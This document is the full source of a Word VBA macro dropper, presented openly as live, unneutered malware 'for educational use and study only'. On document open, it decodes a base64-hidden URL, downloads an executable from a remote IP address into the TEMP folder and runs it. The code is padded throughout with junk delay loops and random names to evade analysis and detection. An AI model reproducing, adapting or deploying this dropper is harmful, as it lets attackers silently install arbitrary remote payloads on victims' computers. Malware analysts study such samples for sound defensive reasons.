VBA Malware Dropper - source code

'********************************************
'********************************************
'        BEWARE - THIS IS LIVE MALWARE
'********************************************
'********************************************
'   I have not nerfed this code - take care
'********************************************
' This is for educational use and study only
'********************************************
'********************************************
'                @leighhall
'********************************************
'********************************************

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function gHBBjodhnsf Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal BsjxHq As LongPtr, _
    ByVal PqMao As String, _
    ByVal ZdCqoiA As String, _
    ByVal qOUQcfuPQbkf As Long, _
    ByVal rLeZNuCDBGrl As LongPtr) As LongPtr
#Else
    Private Declare Function gHBBjodhnsf Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal BsjxHq As Long, _
    ByVal PqMao As String, _
    ByVal ZdCqoiA As String, _
    ByVal qOUQcfuPQbkf As Long, _
    ByVal rLeZNuCDBGrl As Long) As Long
#End If

Private aDecTab(255) As Integer

Sub jiyCFwVleNvx()
zNYsGtgG
Dim DLBhcd As Integer
DLBhcd = 1798
Do While DLBhcd < 1798 + 10
DLBhcd = DLBhcd + 1: DoEvents
Loop
End Sub

Sub ElDpt()
    jiyCFwVleNvx
Dim jIjuo As Integer
jIjuo = 2400
Do While jIjuo < 2400 + 10
jIjuo = jIjuo + 1: DoEvents
Loop
End Sub

Sub autoopen()
    jiyCFwVleNvx
Dim PcPNHaQt As Integer
PcPNHaQt = 2304
Do While PcPNHaQt < 2304 + 10
PcPNHaQt = PcPNHaQt + 1: DoEvents
Loop
End Sub

Sub zNYsGtgG()

Dim ubtfjIjuoGD As Integer
ubtfjIjuoGD = 787
Do While ubtfjIjuoGD < 787 + 10
ubtfjIjuoGD = ubtfjIjuoGD + 1: DoEvents
Loop
 ViapiNU ITXQDR("aHR0cDovLzE2Mi4yNTEuODQuMTIyL2pzL2Jpbi5leGU="), Environ(ITXQDR("VE1Q")) & ITXQDR("XGhEbnlEQS5leGU=")
Dim Qtdot As Integer
Qtdot = 1735
Do While Qtdot < 1735 + 10
Qtdot = Qtdot + 1: DoEvents
Loop
End Sub

Function ViapiNU(BueLOj As String, eaJQwwYgsUo As String) As Boolean
    JjJUOhQ = gHBBjodhnsf(0&, BueLOj, eaJQwwYgsUo, 0&, 0&)
Dim oGDawUMI As Integer
oGDawUMI = 942
Do While oGDawUMI < 942 + 10
oGDawUMI = oGDawUMI + 1: DoEvents
Loop
   Dim inkvMbjktRLp
Dim cdbgQJ As Integer
cdbgQJ = 310
Do While cdbgQJ < 310 + 10
cdbgQJ = cdbgQJ + 1: DoEvents
Loop
    inkvMbjktRLp = Shell(eaJQwwYgsUo, 1)
Dim mNViKe As Integer
mNViKe = 1417
Do While mNViKe < 1417 + 10
mNViKe = mNViKe + 1: DoEvents
Loop
End Function


Public Function ITXQDR(sEncoded As String) As String
Dim sDecoded As String
Dim gEKGRUkFGQ As Integer
gEKGRUkFGQ = 1008
Do While gEKGRUkFGQ < 1008 + 10
gEKGRUkFGQ = gEKGRUkFGQ + 1: DoEvents
Loop
Dim d(3) As Byte
Dim ULNFfHmkR As Integer
ULNFfHmkR = 311
Do While ULNFfHmkR < 311 + 10
ULNFfHmkR = ULNFfHmkR + 1: DoEvents
Loop
Dim C As Byte
Dim bSDlnIlpDNwjVwSR As Integer
bSDlnIlpDNwjVwSR = 879
Do While bSDlnIlpDNwjVwSR < 879 + 10
bSDlnIlpDNwjVwSR = bSDlnIlpDNwjVwSR + 1: DoEvents
Loop
Dim di As Integer
Dim tdotqBSTpqzY As Integer
tdotqBSTpqzY = 1894
Do While tdotqBSTpqzY < 1894 + 10
tdotqBSTpqzY = tdotqBSTpqzY + 1: DoEvents
Loop
Dim i As Long
Dim qlOQxRQfUAIJMkrydppEIL As Integer
qlOQxRQfUAIJMkrydppEIL = 1356
Do While qlOQxRQfUAIJMkrydppEIL < 1356 + 10
qlOQxRQfUAIJMkrydppEIL = qlOQxRQfUAIJMkrydppEIL + 1: DoEvents
Loop
Dim nLen As Long
Dim DLBhcdgQJRvHYceVvYCnjQr As Integer
DLBhcdgQJRvHYceVvYCnjQr = 753
Do While DLBhcdgQJRvHYceVvYCnjQr < 753 + 10
DLBhcdgQJRvHYceVvYCnjQr = DLBhcdgQJRvHYceVvYCnjQr + 1: DoEvents
Loop
Dim iIndex As Long
Dim QLMKPA As Integer
QLMKPA = 689
Do While QLMKPA < 689 + 10
QLMKPA = QLMKPA + 1: DoEvents
Loop
nLen = Len(sEncoded)
Dim fUAIJHMkrydp As Integer
fUAIJHMkrydp = 2019
Do While fUAIJHMkrydp < 2019 + 10
fUAIJHMkrydp = fUAIJHMkrydp + 1: DoEvents
Loop
sDecoded = String((nLen \ 4) * 3, " ")
Dim NiwjVwSRutfjIj As Integer
NiwjVwSRutfjIj = 1068
Do While NiwjVwSRutfjIj < 1068 + 10
NiwjVwSRutfjIj = NiwjVwSRutfjIj + 1: DoEvents
Loop
iIndex = 0
Dim trwhbiL As Integer
trwhbiL = 1292
Do While trwhbiL < 1292 + 10
trwhbiL = trwhbiL + 1: DoEvents
Loop
di = 0
Dim JfULakSSFFhp As Integer
JfULakSSFFhp = 482
Do While JfULakSSFFhp < 482 + 10
JfULakSSFFhp = JfULakSSFFhp + 1: DoEvents
Loop
Call auo5an
Dim rvyqO As Integer
rvyqO = 672
Do While rvyqO < 672 + 10
rvyqO = rvyqO + 1: DoEvents
Loop
' Read in each char in trun
Dim SFFhpCexdBS As Integer
SFFhpCexdBS = 388
Do While SFFhpCexdBS < 388 + 10
SFFhpCexdBS = SFFhpCexdBS + 1: DoEvents
Loop
For i = 1 To Len(sEncoded)
Dim rLosGQm As Integer
rLosGQm = 449
Do While rLosGQm < 449 + 10
rLosGQm = rLosGQm + 1: DoEvents
Loop
C = CByte(Asc(Mid(sEncoded, i, 1)))
Dim CexdBSf As Integer
CexdBSf = 1746
Do While CexdBSf < 1746 + 10
CexdBSf = CexdBSf + 1: DoEvents
Loop
C = aDecTab(C)
Dim imLmxrJG As Integer
imLmxrJG = 2351
Do While imLmxrJG < 2351 + 10
imLmxrJG = imLmxrJG + 1: DoEvents
Loop
If C >= 0 Then
Dim fiZybqmavlcqAjj As Integer
fiZybqmavlcqAjj = 1779
Do While fiZybqmavlcqAjj < 1779 + 10
fiZybqmavlcqAjj = fiZybqmavlcqAjj + 1: DoEvents
Loop
d(di) = C
Dim QZlNhMk As Integer
QZlNhMk = 1082
Do While QZlNhMk < 1082 + 10
QZlNhMk = QZlNhMk + 1: DoEvents
Loop
di = di + 1
Dim cqAjjVjFShOgRVvk As Integer
cqAjjVjFShOgRVvk = 894
Do While cqAjjVjFShOgRVvk < 894 + 10
cqAjjVjFShOgRVvk = cqAjjVjFShOgRVvk + 1: DoEvents
Loop
If di = 4 Then
Dim KdMjSekgrIQ As Integer
KdMjSekgrIQ = 1319
Do While KdMjSekgrIQ < 1319 + 10
KdMjSekgrIQ = KdMjSekgrIQ + 1: DoEvents
Loop
Mid$(sDecoded, iIndex + 1, 3) = utjk(d)
Dim RjUZyn As Integer
RjUZyn = 2458
Do While RjUZyn < 2458 + 10
RjUZyn = RjUZyn + 1: DoEvents
Loop
iIndex = iIndex + 3
Dim IKfHM As Integer
IKfHM = 149
Do While IKfHM < 149 + 10
IKfHM = IKfHM + 1: DoEvents
Loop
If d(3) = 64 Then
Dim mZLnJV As Integer
mZLnJV = 2269
Do While mZLnJV < 2269 + 10
mZLnJV = mZLnJV + 1: DoEvents
Loop
sDecoded = Left(sDecoded, Len(sDecoded) - 1)
Dim TcpQkPo As Integer
TcpQkPo = 146
Do While TcpQkPo < 146 + 10
TcpQkPo = TcpQkPo + 1: DoEvents
Loop
iIndex = iIndex - 1
Dim VkRjUZynke As Integer
VkRjUZynke = 274
Do While VkRjUZynke < 274 + 10
VkRjUZynke = VkRjUZynke + 1: DoEvents
Loop
End If
Dim SssTcpQkPFgFQKdM As Integer
SssTcpQkPFgFQKdM = 653
Do While SssTcpQkPFgFQKdM < 653 + 10
SssTcpQkPFgFQKdM = SssTcpQkPFgFQKdM + 1: DoEvents
Loop
If d(2) = 64 Then
Dim uOrvJTp As Integer
uOrvJTp = 2013
Do While uOrvJTp < 2013 + 10
uOrvJTp = uOrvJTp + 1: DoEvents
Loop
sDecoded = Left(sDecoded, Len(sDecoded) - 1)
Dim qZZLLn As Integer
qZZLLn = 604
Do While qZZLLn < 604 + 10
qZZLLn = qZZLLn + 1: DoEvents
Loop
iIndex = iIndex - 1
Dim krVjiyB As Integer
krVjiyB = 2376
Do While krVjiyB < 2376 + 10
krVjiyB = krVjiyB + 1: DoEvents
Loop
End If
Dim ZZLLnwI As Integer
ZZLLnwI = 1079
Do While ZZLLnwI < 1079 + 10
ZZLLnwI = ZZLLnwI + 1: DoEvents
Loop
di = 0
Dim tfGdcDlCo As Integer
tfGdcDlCo = 2471
Do While tfGdcDlCo < 2471 + 10
tfGdcDlCo = tfGdcDlCo + 1: DoEvents
Loop
End If
Dim nxDzLcdyAhOrHouNVKq As Integer
nxDzLcdyAhOrHouNVKq = 1206
Do While nxDzLcdyAhOrHouNVKq < 1206 + 10
nxDzLcdyAhOrHouNVKq = nxDzLcdyAhOrHouNVKq + 1: DoEvents
Loop
End If
Dim eJSTRQu As Integer
eJSTRQu = 127
Do While eJSTRQu < 127 + 10
eJSTRQu = eJSTRQu + 1: DoEvents
Loop
Next i
Dim ogEiMw As Integer
ogEiMw = 1045
Do While ogEiMw < 1045 + 10
ogEiMw = ogEiMw + 1: DoEvents
Loop
 ITXQDR = sDecoded
Dim ekshMVQUax As Integer
ekshMVQUax = 1691
Do While ekshMVQUax < 1691 + 10
ekshMVQUax = ekshMVQUax + 1: DoEvents
Loop
End Function

Private Function utjk(d() As Byte) As String
Dim sOutput As String
Dim xQZOupp As Integer
xQZOupp = 553
Do While xQZOupp < 553 + 10
xQZOupp = xQZOupp + 1: DoEvents
Loop
Dim C As Long
Dim FrvVwHBQnJiaViyNjQg As Integer
FrvVwHBQnJiaViyNjQg = 1502
Do While FrvVwHBQnJiaViyNjQg < 1502 + 10
FrvVwHBQnJiaViyNjQg = FrvVwHBQnJiaViyNjQg + 1: DoEvents
Loop
sOutput = vbNullString
Dim pdaTmGqAGCO As Integer
pdaTmGqAGCO = 1060
Do While pdaTmGqAGCO < 1060 + 10
pdaTmGqAGCO = pdaTmGqAGCO + 1: DoEvents
Loop
C = nGkl0avyll(d(0)) Or (NZ5Ef7Abl(d(1)) And &H3)
Dim QnJiaViyNjQg As Integer
QnJiaViyNjQg = 1502
Do While QnJiaViyNjQg < 1502 + 10
QnJiaViyNjQg = QnJiaViyNjQg + 1: DoEvents
Loop
sOutput = sOutput & Chr$(C)
Dim Rxstr As Integer
Rxstr = 566
Do While Rxstr < 566 + 10
Rxstr = Rxstr + 1: DoEvents
Loop
C = JcX2DMsRAZ(d(1) And &HF) Or (W1UISPoYNMC(d(2)) And &HF)
Dim zZzKEQTq As Integer
zZzKEQTq = 631
Do While zZzKEQTq < 631 + 10
zZzKEQTq = zZzKEQTq + 1: DoEvents
Loop
sOutput = sOutput & Chr$(C)
Dim iZmwgfS As Integer
iZmwgfS = 59
Do While iZmwgfS < 59 + 10
iZmwgfS = iZmwgfS + 1: DoEvents
Loop
C = DM2OBrHOe(d(2) And &H3) Or d(3)
Dim poEIK As Integer
poEIK = 1422
Do While poEIK < 1422 + 10
poEIK = poEIK + 1: DoEvents
Loop
sOutput = sOutput & Chr$(C)
Dim eVuYC As Integer
eVuYC = 1989
Do While eVuYC < 1989 + 10
eVuYC = eVuYC + 1: DoEvents
Loop
 utjk = sOutput
Dim cEIQhBPCpP As Integer
cEIQhBPCpP = 2288
Do While cEIQhBPCpP < 2288 + 10
cEIQhBPCpP = cEIQhBPCpP + 1: DoEvents
Loop
End Function

Private Function auo5an()
Dim t As Integer
Dim GOEkfgeTbiyZZ As Integer
GOEkfgeTbiyZZ = 1721
Do While GOEkfgeTbiyZZ < 1721 + 10
GOEkfgeTbiyZZ = GOEkfgeTbiyZZ + 1: DoEvents
Loop
Dim C As Integer
Dim ealoDZaktoRh As Integer
ealoDZaktoRh = 1657
Do While ealoDZaktoRh < 1657 + 10
ealoDZaktoRh = ealoDZaktoRh + 1: DoEvents
Loop
For C = 0 To 255
Dim sSeYqawgrwt As Integer
sSeYqawgrwt = 580
Do While sSeYqawgrwt < 580 + 10
sSeYqawgrwt = sSeYqawgrwt + 1: DoEvents
Loop
aDecTab(C) = -1
Dim loDZa As Integer
loDZa = 771
Do While loDZa < 771 + 10
loDZa = loDZa + 1: DoEvents
Loop
Next
Dim eYqawgrwtEVk As Integer
eYqawgrwtEVk = 75
Do While eYqawgrwtEVk < 75 + 10
eYqawgrwtEVk = eYqawgrwtEVk + 1: DoEvents
Loop
t = 0
Dim pcCZmAizl As Integer
pcCZmAizl = 973
Do While pcCZmAizl < 973 + 10
pcCZmAizl = pcCZmAizl + 1: DoEvents
Loop
For C = Asc("A") To Asc("Z")
Dim NGqZbvYc As Integer
NGqZbvYc = 468
Do While NGqZbvYc < 468 + 10
NGqZbvYc = NGqZbvYc + 1: DoEvents
Loop
aDecTab(C) = t
Dim aJFuOEvJ As Integer
aJFuOEvJ = 2048
Do While aJFuOEvJ < 2048 + 10
aJFuOEvJ = aJFuOEvJ + 1: DoEvents
Loop
t = t + 1
Dim ggfkGNUzMLcf As Integer
ggfkGNUzMLcf = 1386
Do While ggfkGNUzMLcf < 1386 + 10
ggfkGNUzMLcf = ggfkGNUzMLcf + 1: DoEvents
Loop
Next
Dim bETAHaiY As Integer
bETAHaiY = 500
Do While bETAHaiY < 500 + 10
bETAHaiY = bETAHaiY + 1: DoEvents
Loop
For C = Asc("a") To Asc("z")
Dim qQrwEua As Integer
qQrwEua = 1017
Do While qQrwEua < 1017 + 10
qQrwEua = qQrwEua + 1: DoEvents
Loop
aDecTab(C) = t
Dim YpBqnhzwT As Integer
YpBqnhzwT = 2315
Do While YpBqnhzwT < 2315 + 10
YpBqnhzwT = YpBqnhzwT + 1: DoEvents
Loop
t = t + 1
Dim PdnIVJvQtr As Integer
PdnIVJvQtr = 890
Do While PdnIVJvQtr < 890 + 10
PdnIVJvQtr = PdnIVJvQtr + 1: DoEvents
Loop
Next
Dim KshBriwGpp As Integer
KshBriwGpp = 2472
Do While KshBriwGpp < 2472 + 10
KshBriwGpp = KshBriwGpp + 1: DoEvents
Loop
For C = Asc("0") To Asc("9")
Dim awvQEVHL As Integer
awvQEVHL = 2391
Do While awvQEVHL < 2391 + 10
awvQEVHL = awvQEVHL + 1: DoEvents
Loop
aDecTab(C) = t
Dim jHlPNvk As Integer
jHlPNvk = 1283
Do While jHlPNvk < 1283 + 10
jHlPNvk = jHlPNvk + 1: DoEvents
Loop
t = t + 1
Dim exrhMVVUaK As Integer
exrhMVVUaK = 272
Do While exrhMVVUaK < 272 + 10
exrhMVVUaK = exrhMVVUaK + 1: DoEvents
Loop
Next
Dim poseksI As Integer
poseksI = 2359
Do While poseksI < 2359 + 10
poseksI = poseksI + 1: DoEvents
Loop
C = Asc("+")
Dim bSsHzkRToQVj As Integer
bSsHzkRToQVj = 1994
Do While bSsHzkRToQVj < 1994 + 10
bSsHzkRToQVj = bSsHzkRToQVj + 1: DoEvents
Loop
aDecTab(C) = t
Dim mKoSQynH As Integer
mKoSQynH = 1138
Do While mKoSQynH < 1138 + 10
mKoSQynH = mKoSQynH + 1: DoEvents
Loop
t = t + 1
Dim hAvkPZaYdNG As Integer
hAvkPZaYdNG = 1202
Do While hAvkPZaYdNG < 1202 + 10
hAvkPZaYdNG = hAvkPZaYdNG + 1: DoEvents
Loop
C = Asc("/")
Dim hovLmlBr As Integer
hovLmlBr = 315
Do While hovLmlBr < 315 + 10
hovLmlBr = hovLmlBr + 1: DoEvents
Loop
aDecTab(C) = t
Dim PZaYdN As Integer
PZaYdN = 1836
Do While PZaYdN < 1836 + 10
PZaYdN = PZaYdN + 1: DoEvents
Loop
t = t + 1
Dim wuzkryOq As Integer
wuzkryOq = 1932
Do While wuzkryOq < 1932 + 10
wuzkryOq = wuzkryOq + 1: DoEvents
Loop
C = Asc("=")
Dim EyoTdd As Integer
EyoTdd = 1710
Do While EyoTdd < 1710 + 10
EyoTdd = EyoTdd + 1: DoEvents
Loop
aDecTab(C) = t  ' should be 64
Dim xEQfUAvwuzk As Integer
xEQfUAvwuzk = 348
Do While xEQfUAvwuzk < 348 + 10
xEQfUAvwuzk = xEQfUAvwuzk + 1: DoEvents
Loop
End Function


Private Function nGkl0avyll(ByVal bytValue As Byte) As Byte
 nGkl0avyll = (bytValue * &H4) And &HFF
Dim iayNG As Integer
iayNG = 900
Do While iayNG < 900 + 10
iayNG = iayNG + 1: DoEvents
Loop
End Function
Private Function JcX2DMsRAZ(ByVal bytValue As Byte) As Byte
 JcX2DMsRAZ = (bytValue * &H10) And &HFF
Dim StsIyBtRu As Integer
StsIyBtRu = 46
Do While StsIyBtRu < 46 + 10
StsIyBtRu = StsIyBtRu + 1: DoEvents
Loop
End Function
Private Function DM2OBrHOe(ByVal bytValue As Byte) As Byte
 DM2OBrHOe = (bytValue * &H40) And &HFF
Dim fkUNUz As Integer
fkUNUz = 14
Do While fkUNUz < 14 + 10
fkUNUz = fkUNUz + 1: DoEvents
Loop
End Function
Private Function W1UISPoYNMC(ByVal bytValue As Byte) As Byte
 W1UISPoYNMC = bytValue \ &H4
Dim SUAHbjY As Integer
SUAHbjY = 521
Do While SUAHbjY < 521 + 10
SUAHbjY = SUAHbjY + 1: DoEvents
Loop
End Function
Private Function NZ5Ef7Abl(ByVal bytValue As Byte) As Byte
 NZ5Ef7Abl = bytValue \ &H10
Dim avxGQLpEQr As Integer
avxGQLpEQr = 407
Do While avxGQLpEQr < 407 + 10
avxGQLpEQr = avxGQLpEQr + 1: DoEvents
Loop
End Function
Private Function hQpn(ByVal bytValue As Byte) As Byte
 hQpn = bytValue \ &H40
Dim BvNwTDN As Integer
BvNwTDN = 501
Do While BvNwTDN < 501 + 10
BvNwTDN = BvNwTDN + 1: DoEvents
Loop
End Function